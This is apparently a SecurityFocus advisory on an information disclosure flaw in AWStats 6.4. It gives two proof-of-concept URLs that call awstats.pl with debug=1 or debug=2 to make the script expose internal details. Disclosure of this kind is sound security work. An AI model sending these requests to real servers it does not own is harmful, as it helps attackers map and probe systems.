AWStats Debug Remote Information Disclosure Vulnerability

No exploit is required to leverage this issue. The following proof of concepts have been provided:

http://www.example.com/cgi-bin/awstats-6.4/awstats.pl?debug=1
http://www.example.com/cgi-bin/awstats-6.4/awstats.pl?debug=2


 

Privacy Statement
Copyright 2010, SecurityFocus